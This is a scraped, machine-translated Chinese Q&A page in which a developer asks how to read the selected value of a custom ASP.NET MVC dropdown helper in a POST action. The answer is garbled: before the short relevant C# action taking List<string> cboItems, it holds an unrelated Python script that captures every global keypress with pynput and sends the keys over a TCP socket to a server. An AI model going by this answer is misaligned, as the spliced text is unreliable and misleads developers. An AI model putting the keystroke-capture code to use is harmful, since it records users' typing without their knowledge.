如何从View对我的自定义HelperResult进行模型绑定

时间:2018-11-29 16:23:43

标签: asp.net-mvc html-helper

在ASP.NET MVC 5项目中,我创建了一个新的HelperResult。

我的目标是创建一个可重用的自动完成下拉列表组件(包含引导选择),并设置多个参数可以根据需要采取不同的行为,但尤其是在POST中使用控制器方法或API填充自身的行为。

似乎效果很好,但回发操作还不够。

在回发操作中,我无法绑定我的助手来检索数据。 我不知道如何从组合框中选择数据...

更清楚地说,我想向您展示界面

enter image description here

好吧,当我按下按钮时,我不知道如何在控制器中获取数据。

按照我放置新HelperResult的视图

查看

    @{
        ViewBag.Title = "Test";
        Layout = "";
    }
    <h2>Test</h2>
        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css">
        <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
        <link href="~/UIComponent/bootstrap-select/css/bootstrap-select.css" rel="stylesheet" />
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
        <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.bundle.min.js"></script>
        <script src="~/UIComponent/bootstrap-select/js/bootstrap-select.js"></script>


    @using (Html.BeginForm("testpost", "Home"))
    {

        <br />
<div style="padding:30px">
                  Lists
                  @UIHelper.HubCombo("/HUB/GetMezziOrdinari", "ID", "Descrizione", false, "Seleziona un item", "cboItems", "<b>Selezionare un item</b>", "ID")


              <input type="submit" value="submit" id="btnSubmit" />    
              </div>


    }

这是我在App_Code的“ UIHelper.cshtml”中定义的帮助程序

助手

@helper HubCombo(string UrlHub,
                            string nomecampoValue,
                            string nomecampoText,
                            bool MultiSelection = false,
                            string placeholder = "",
                            string controlID = "cboSelect",
                            string header = "",
                            string subText = ""
                        )

{

string _subText = subText.Trim();

<select class=""
        id="@controlID"
        data-live-search="true"
        title="@placeholder"
        data-hide-disabled="true"
        data-header="@header"
        data-width="auto"
        @if (MultiSelection)
        {
            <text>multiple</text>
        }
        >

</select>

<script type="text/javascript">
    $.ajax({
        url: '@UrlHub',
        type: 'POST',
        contentType: 'application/json',
        data: '',
        success: function (response) {
            var options = [], _options;
            $.each(response.Data, function (idx, obj) {
                @{
                    if (_subText.Length>0)
                    {
                        <text>
                            options.push("<option data-subtext='"+ obj.@_subText+"' value='" + obj.@nomecampoValue + "'>" + obj.@nomecampoText + "</option>");
                        </text>
                    }
                    else
                    {
                        <text>
                            options.push("<option value='" + obj.@nomecampoValue + "'>" + obj.@nomecampoText + "</option>");
                        </text>
                    }
                }
            });

            _options = options.join('');
            $('#@controlID')[0].innerHTML = _options;
            $('#@controlID').selectpicker();
        }
    });
</script>

}

最后我的控制器被卡住了!

控制器

[HttpPost]
public ActionResult testpost()
{
    //How to get value of my custom Helper Result?
    return View();
}

如果您还有其他解决方案,请告诉我。

1 个答案:

答案 0 :(得分:1)

有了此用于控制器操作的签名,现在您可以检索数据:

import socket
from pynput.keyboard import Key, Controller, Listener
import sys
import readchar
import threading




SERVER_IP = "127.0.0.1"
SERVER_PORT = 700
keyboard = Controller()
my_key = 0
def listen():
    # Collect events until released
    with Listener(on_press=on_press, on_release=on_release) as listener: 
        listener.join()

def on_press(key):
    global my_key
    #print('{0} pressed'.format(key))
    my_key = key
    my_key = repr(my_key)
    if("<" in my_key):
        my_key = my_key[my_key.find("<") + 1:-1]
        my_key = my_key[my_key.find("<"):]
def on_release(key):
    global my_key
    #print('{0} release'.format(key))
    my_key = "res"
    if key == Key.esc:
        # Stop listener
        return False

threads = []
t = threading.Thread(target=listen)
threads.append(t)
t.start()


def main():
    global my_key
    old_key = 0
    # Create a TCP/IP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    server_address = (SERVER_IP, SERVER_PORT)
    sock.connect(server_address)

    # Sending data to server
    msg = "connected!_client"
    sock.sendall(msg.encode())

    # Receiving data from the server
    server_msg = sock.recv(1024)
    server_msg = server_msg.decode()

    print(server_msg)
    last_msg = 0
    new_msg = 0
    inp = ""
    while(my_key != "0"):
        if(old_key != my_key):
            if(my_key == "res"):
                inp = my_key + old_key
                new_msg = inp.encode()
            else:
                inp = my_key
                new_msg = inp.encode()
            print(my_key)
            old_key = my_key
            sock.sendall(new_msg)
        # Closing the socket
    sock.close()

main()

即使

[HttpPost]
public ActionResult testpost(List<string> cboItems)
{

    ViewBag.cboItems = string.Join("<br />", cboItems);
    return View();
}

...

所以,我认为Controller和View使用的ViewModel类应该包含这些字段。